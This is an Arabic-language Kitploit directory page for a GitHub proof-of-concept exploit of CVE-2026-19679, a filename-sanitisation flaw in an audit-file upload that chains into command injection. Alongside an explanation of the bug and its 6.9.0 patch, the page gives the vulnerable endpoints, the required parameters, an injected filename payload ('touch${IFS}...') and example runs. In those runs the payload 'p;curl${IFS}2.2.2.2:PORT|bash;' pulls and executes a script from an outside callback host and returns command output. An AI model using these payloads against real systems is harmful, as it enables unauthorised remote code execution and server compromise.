Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
POC-CVE-2026-19679 — استغلال إثبات المفهوم لـ CVE-2026-19679، وهي ثغرة في عدم كفاية تنظيف اسم الملف في رفع audit-file تؤدي إلى حقن الأوامر. يتضمن استطلاع الإصدار التفاضلي ووضع exec لتنفيذ الأوامر عن بُعد. | Kitploit
أدوات/GitHubGitHub/h00die/poc-cve-2026-19679
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالقيادة والسيطرةتطوير الحمولات
GitHubh00die/poc-cve-2026-19679

POC-CVE-2026-19679

استغلال إثبات المفهوم لـ CVE-2026-19679، وهي ثغرة في عدم كفاية تنظيف اسم الملف في رفع audit-file تؤدي إلى حقن الأوامر. يتضمن استطلاع الإصدار التفاضلي ووضع exec لتنفيذ الأوامر عن بُعد.

عرض المستودع
منذ 17س 38دلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

InfoGraphic

CVE-2026-19679 — تعقيم غير كافٍ لأسماء الملفات المرفوعة (التحقق من المدخلات)

الحالة: مؤكَّدة على بيئة اختبار 6.7.2-14.el9 (2026-08-20). أعاد POST /rest/auditFile مع tailoringOriginalFilename = "poc;touch${IFS}poc19679;me.xml" استجابة HTTP 200 وأدى إلى تسجيل AuditFile #1000002 — اسم الملف الحاوي على محارف شل خاصة اجتاز التحقق وتم تخزينه عبر كامل السلسلة. في الإصدار 6.9.0 يُرفض الطلب نفسه برسالة "Invalid tailoring filename.".

الثغرة

يتم التحقق من معاملات رفع ملف التدقيق (filename, tailoringFilename, tailoringOriginalFilename) باستخدام ()، الذي يفحص ثلاثة أمور فقط: ألا يكون الحقل فارغًا، وألا يحتوي على (المساواة عبر )، وأن الملف المُرحَّل مؤقتًا موجود. — فالمحارف و وعلامات الاقتباس الخلفية و والمسافات تمرّ دون أي تعديل.

PARAM_FILENAME
Utility::validateParams()
/
basename()
لا يوجد أي قيد على مجموعة المحارف
;
$()
${IFS}

ثم تتدفق هذه الأسماء إلى:

  • rename($tmpTailoringFile, "{$tmpDir}/{$newTailoringFilename}") — AuditFileLib.php:2307 (يتم إنشاء ملف يحتوي اسمه على محارف خاصة عشوائية)
  • أمر إعادة تعبئة أرشيف SCAP — exec("{$settings['CommandZIP']} -9Tj $tmpZipFile $newTailoringFilenameEsc") حيث إن $tmpZipFile غير المُهرَّب مشتق من معامل filename المُرسَل من العميل — وهو حقن الأوامر اللاحق الموثق في CVE-2026-19681.

حدود تم التحقق منها مخبريًا: اجتياز المسار ليس جزءًا من الخلل قبل 6.9 — فكلا معاملي التخصيص يرفضان / (الخطأ 146 Invalid syntax for attribute ... عند إرسال حمولة ../). الجزء المفقود هو مرشح مجموعة المحارف تحديدًا، وهذا ما يعنيه نص CVE بعبارة "قد يسهم في حقن أوامر في مرحلة لاحقة."

التصحيح (6.9.0)

AuditFiles::applySCAPTailoringFile():

root@kitploit:~
$filenamePattern = '/^[A-Za-z0-9][A-Za-z0-9._-]{0,254}$/';
$safeTailoringFilename = basename($params['tailoringFilename']);
$safeTailoringOriginalFilename = basename($params['tailoringOriginalFilename']);
if ( !preg_match($filenamePattern, ...) ) {
    ErrorHandler::setErrorHandler("Invalid tailoring filename.", RESPONSE_INVALID_DATA);

إضافة إلى تطبيق basename() على الاسمين وescapeshellarg() على معاملات ملف الـzip.

إثبات المفهوم (PoC)

فحص تفاضلي بين الإصدارات — طلب واحد بنتائج متعاكسة لكل إصدار:

root@kitploit:~
./poc.py --target https://sc.lab --username analyst --password 'pass'
  • الإصدارات ≤ 6.8.x → HTTP 200 (يتم إنشاء ملف التدقيق باسم يحوي محارف خاصة) أو الخطأ 106 (ارتداد بعد التنفيذ؛ الاسم ما زال يصل إلى rename()/zip) → لا يوجد تحقق من مجموعة المحارف
  • 6.9.0 → رفض فوري برسالة "Invalid tailoring filename."

ملاحظات تشغيلية (جميعها تم التحقق منها مخبريًا):

  • مورد الرفع هو /rest/file/upload (multipart Filedata وحقل context في النموذج)
  • يُرحَّل أرشيف التدقيق مؤقتًا بـسياق فارغ — القيمة context=auditFile تشغّل فحص المحتوى على الأرشيف (الخطأ 107 مع ملف zip تجريبي)
  • يجب أن يحتوي ملف التخصيص على XML قابل للتحليل لتدفق بيانات يتضمّن ≥1 Profile (مضمّن)
  • يتطلب جسم طلب auditFile القيم type=scapLinux|scapWindows وversion=1.2 وbenchmarkName وdataStreamName

العلاقة مع CVE-2026-19681

19679 هو فجوة التحقق؛ و19681 هو نقطة التنفيذ (exec sink). مسار الرفع نفسه يُفعِّل الاثنين معًا: 19681 يزرع محارف خاصة في filename المُرحَّل مؤقتًا (عبر بادئة context في الرفع) ويُطلقها عبر $tmpZipFile غير المُهرَّب؛ بينما يُظهر 19679 أن المعاملات الشقيقة تقبل نفس صنف المحارف حتى الوصول إلى (والدخول في) نص الأمر نفسه. يصلح الإصدار 6.9.0 الجانبين في منطقة تعديل واحدة: مجموعة المحارف + basename + escapeshellarg.

مثال على التشغيل

root@kitploit:~
$ python3 cve-2026-19679.py --target https://1.1.1.1 --username user --password user --cmd whoami
[*] exec mode: callback on 2.2.2.2:43423, staged-name payload 'p;curl${IFS}2.2.2.2:43423|bash;'
[+] authenticated, token 20748583...
[*] staging audit zip + tailoring file
[+] staged: zip='p;curl${IFS}2.2.2.2:43423|bash;-6LsqIT' tailoring='tailoringFile-gGVNr6'
[*] POST /rest/auditFile — tailoring name (19679) + staged filename (19681 exec) in one request
[*] HTTP 403: {"type": "regular", "response": "", "error_code": 106, "error_msg": "Error adding Tailoring file to SCAP zip file.\n", "warnings": [], "timestamp": 1787560505}
[+] command output:
tns
root@kitploit:~
$ python3 cve-2026-19679.py --target https://1.1.1.1 --username user --password user --cmd "uname -a"
[*] exec mode: callback on 2.2.2.2:44077, staged-name payload 'p;curl${IFS}2.2.2.2:44077|bash;'
[+] authenticated, token 20420913...
[*] staging audit zip + tailoring file
[+] staged: zip='p;curl${IFS}2.2.2.2:44077|bash;-zFE1Bb' tailoring='tailoringFile-FmUM7f'
[*] POST /rest/auditFile — tailoring name (19679) + staged filename (19681 exec) in one request
[*] HTTP 403: {"type": "regular", "response": "", "error_code": 106, "error_msg": "Error adding Tailoring file to SCAP zip file.\n", "warnings": [], "timestamp": 1787560738}
[+] command output:
Linux securitycenter 5.14.0-611.5.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Oct 17 14:16:35 EDT 2025 x86_64 x86_64 x86_64 GNU/Linux
تنزيل الأداة